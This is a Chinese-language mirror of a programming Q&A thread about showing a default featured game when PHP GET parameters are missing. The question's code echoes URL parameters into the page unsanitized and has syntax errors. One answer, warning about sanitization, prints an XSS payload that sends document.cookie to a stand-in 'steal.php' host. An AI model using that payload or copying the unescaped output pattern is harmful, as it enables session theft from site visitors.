PHP:设置变量以获取值

发布于 2024-08-15 08:04:42 字数 1068 浏览 5 评论 0原文

我正在使用 PHP 创建一个游戏网站,我想只使用一个游戏页面而不是一堆。我想要这样输入信息:

`?swf=[.swf 的路径]&name=[游戏名称]&description=[游戏说明]&instruction=[游戏说明]`

`问题是,如果 URL 中没有输入数据,则会返回黑页。如果 URL 中没有任何内容,我想使用 if...else 显示特色游戏。我现在拥有的代码是:

<?php $name=$_GET["name"];
if ($name=="*")
echo "<h3>$name"</h3>;
else
echo "Featured Game Name";
?>

<?php $description=$_GET["description"];
if ($description=="*")
echo "<h5>$description</h3>;
else
echo "<h5>Featured Game Description</h5>";
?>

<object type="application/x-shockwave-flash" data="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" width="700" height="400">
<param name="movie" value="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" />
</object>

<?php $instruction=$_GET["instruction"];
if ($instruction=="*")
echo "<p>$instruction</p>;
else
echo "Featured Game Instruction";
?>

任何人都可以提供有关实现此目标的方法的任何建议吗?

I am creating a game web site using PHP and I want to just use one page for the game rather than have a bunch. I want to have the info entered like this:

`?swf=[path to .swf]&name=[name of game]&description=[Description of Game]&instruction=[Instructions for game]``

The problem is that if there is no data entered in the URL it returns a black page. I want to use the if...else to display a featured game if nothing is in the URL. The code I have right now is:

<?php $name=$_GET["name"];
if ($name=="*")
echo "<h3>$name"</h3>;
else
echo "Featured Game Name";
?>

<?php $description=$_GET["description"];
if ($description=="*")
echo "<h5>$description</h3>;
else
echo "<h5>Featured Game Description</h5>";
?>

<object type="application/x-shockwave-flash" data="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" width="700" height="400">
<param name="movie" value="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" />
</object>

<?php $instruction=$_GET["instruction"];
if ($instruction=="*")
echo "<p>$instruction</p>;
else
echo "Featured Game Instruction";
?>

Can anyone offer any suggestions on ways to accomplish this?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(3

蘸点软妹酱 2024-08-22 08:04:42

我不确定 if ($name=="*") 的作用是什么,但我会使用

if(isset($_GET['name']))

它来检查名称是否传递到 url。

I'm not sure what the if ($name=="*") does, but I would use

if(isset($_GET['name']))

instead, to check if the name was passed to the url.

凝望流年 2024-08-22 08:04:42

我假设 $_GET['name'] == "*" 你混淆了一些东西。在这种情况下,它只是一个字符串比较。 * 不是与 SQL 中的任何内容相匹配的通配符。如果你想检查 $_GET['name'] 中是否有内容,可以使用 isset< /a>.

此外,我建议您只检查 name,因为您的所有参数在概念上都属于游戏。如果没有名称,就没有描述,也没有说明

但无论你做什么,一定要清理你要输出的参数,否则迟早有人会提供这个或类似的名称:

<script>document.location='http://www.example.com/steal.php?'+document.cookie</script> 

I assume with $_GET['name'] == "*" you are mixing up something. In that context it is just a string comparison. * is not a wildcard that matches anything like in SQL. If you want to check if there is something in $_GET['name'], you could use empty or isset.

In addition, I suggest you just check for name, because all your params conceptually belong to game. If there is no name, there will be no description and no instructions.

But whatever you do, be sure to sanitize the params you are going to output, otherwise someone will supply this or something similar for name sooner or later:

<script>document.location='http://www.example.com/steal.php?'+document.cookie</script> 
仅一夜美梦 2024-08-22 08:04:42
if(empty($_GET['swf']) and empty($_GET['name']) and empty($_GET['description']) and empty($_GET['instruction']){
/// code here
}else{
/// and here
}
if(empty($_GET['swf']) and empty($_GET['name']) and empty($_GET['description']) and empty($_GET['instruction']){
/// code here
}else{
/// and here
}
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文